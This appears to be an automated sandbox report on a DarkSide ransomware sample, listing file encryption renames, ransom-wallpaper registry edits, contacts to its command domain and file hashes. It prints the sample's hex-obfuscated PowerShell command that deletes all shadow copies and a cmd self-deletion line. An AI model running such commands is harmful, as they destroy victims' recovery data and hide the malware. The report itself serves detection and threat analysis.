Analysis Overview
SHA256
b70a184f36903de934b93c5118561ddb1c3747e365575f92682ef09fbb48d5f8
Threat Level: Known bad
The file sage2.donotopen was found to be: Known bad.
Malicious Activity Summary
DarkSide
Modifies extensions of user files
Reads user/profile data of web browsers
Deletes itself
Sets desktop wallpaper using registry
Enumerates physical storage devices
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies Control Panel
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-05-17 14:07
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-05-17 14:07
Reported
2021-05-17 14:10
Platform
win7v20210410
Max time kernel
26s
Max time network
25s
Command Line
Signatures
DarkSide
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\Pictures\MergeProtect.tif.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SelectRead.crw => C:\Users\Admin\Pictures\SelectRead.crw.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\ConnectSet.crw.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\DenyRequest.png => C:\Users\Admin\Pictures\DenyRequest.png.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\DenyRequest.png.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\SelectPop.raw.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\SelectRead.crw.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ConnectSet.crw => C:\Users\Admin\Pictures\ConnectSet.crw.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\MergeProtect.tif => C:\Users\Admin\Pictures\MergeProtect.tif.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SelectPop.raw => C:\Users\Admin\Pictures\SelectPop.raw.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Enumerates physical storage devices
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443 | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe
"C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\SAGE2D~1.EXE >> NUL
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | catsdegree.com | udp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 8.8.8.8:53 | 16.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 24.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 13.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 15.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 1.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 19.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 21.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 20.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 25.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 32.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 35.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 38.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 40.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 39.0.7.10.in-addr.arpa | udp |
| N/A | 10.7.0.13:5355 | udp | |
| N/A | 10.7.0.16:5355 | udp | |
| N/A | 10.7.0.19:5355 | udp | |
| N/A | 10.7.0.15:5355 | udp | |
| N/A | 10.7.0.21:5355 | udp | |
| N/A | 10.7.0.25:5355 | udp | |
| N/A | 10.7.0.20:5355 | udp | |
| N/A | 10.7.0.32:5355 | udp | |
| N/A | 10.7.0.35:5355 | udp | |
| N/A | 10.7.0.38:5355 | udp | |
| N/A | 10.7.0.40:5355 | udp | |
| N/A | 10.7.0.39:5355 | udp | |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
| N/A | 72.52.178.23:443 | catsdegree.com | tcp |
Files
memory/788-59-0x0000000075551000-0x0000000075553000-memory.dmp
memory/1616-60-0x0000000000000000-mapping.dmp
memory/1616-61-0x000007FEFBC81000-0x000007FEFBC83000-memory.dmp
memory/1616-62-0x0000000001ED0000-0x0000000001ED1000-memory.dmp
memory/1616-63-0x000000001AC90000-0x000000001AC91000-memory.dmp
memory/1616-64-0x0000000002280000-0x0000000002281000-memory.dmp
memory/1616-66-0x000000001AC14000-0x000000001AC16000-memory.dmp
memory/1616-65-0x000000001AC10000-0x000000001AC12000-memory.dmp
memory/1616-67-0x0000000001F10000-0x0000000001F11000-memory.dmp
memory/1616-68-0x000000001C4C0000-0x000000001C4C1000-memory.dmp
memory/1616-69-0x000000001C590000-0x000000001C591000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | dab8d891d3796ee132d648b719db343c |
| SHA1 | 8eab3909265c184a9a26893589836f047591c54c |
| SHA256 | 7e2ec9da9919c4f541728636bfac5e74405033f0f7e7bd733c3e68d82349f786 |
| SHA512 | 305ca5f6aff09b5d645b5ce1e74b5fe22227fa6d6d70c4ab3dd165b1a140857f929a1727ea341fff063d1dc39756d037d0aac2c10a8ea0f9757ad111edc90d87 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 5fcb6bbfb6b9dfcc7478f6cfa20f8bf0 |
| SHA1 | 3c0ac7025e2d9aa30ef10a51313d152307f46dd1 |
| SHA256 | 4a2b89babae45fbedb1c4b80f696fbc89a8b13249789647f55c64cbb878e2a64 |
| SHA512 | be9c5563f3c7430369359dbb7a548d6135773ae49b11047eb8acb7fa5c849e979456c06a49b27dd0a862ef1886930e7ad3e182e265f43e6cf1bca70874b30fed |
memory/2840-72-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-05-17 14:07
Reported
2021-05-17 14:10
Platform
win10v20210408
Max time kernel
60s
Max time network
69s
Command Line
Signatures
DarkSide
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\Pictures\SelectExport.crw.21b2020d | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SkipStop.raw => C:\Users\Admin\Pictures\SkipStop.raw.21b2020d | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\SkipStop.raw.21b2020d | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SelectExport.crw => C:\Users\Admin\Pictures\SelectExport.crw.21b2020d | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Enumerates physical storage devices
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico" | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 744 wrote to memory of 3108 | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 744 wrote to memory of 3108 | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 744 wrote to memory of 4648 | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 744 wrote to memory of 4648 | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 744 wrote to memory of 4648 | N/A | C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe | C:\Windows\SysWOW64\cmd.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe
"C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\SAGE2D~1.EXE >> NUL
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | catsdegree.com | udp |
| N/A | 8.8.8.8:53 | 1.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | catsdegree.com | udp |
Files
memory/3108-114-0x0000000000000000-mapping.dmp
memory/3108-120-0x000001589A210000-0x000001589A211000-memory.dmp
memory/3108-125-0x000001589A3C0000-0x000001589A3C1000-memory.dmp
memory/3108-127-0x00000158FEC83000-0x00000158FEC85000-memory.dmp
memory/3108-128-0x00000158FEC86000-0x00000158FEC88000-memory.dmp
memory/3108-126-0x00000158FEC80000-0x00000158FEC82000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 67fc7b646bf0ff4129cf65bd31753fd9 |
| SHA1 | 7428127d16a308ccd3d4ec950b540f31616322a9 |
| SHA256 | c87bb7e6b1480fff5001ec8fe03aa2b8868efa618c5576445a0676aaa31764b3 |
| SHA512 | 9f58daffe014a9797c7e1d035f9577eab060d7a22ebc6cc4f40b9e348793d3b4adf27506df7ef5add9c86c6ee7c70d1cc1cb8cc3e9f33d447d72feeb7a32f264 |
memory/4648-144-0x0000000000000000-mapping.dmp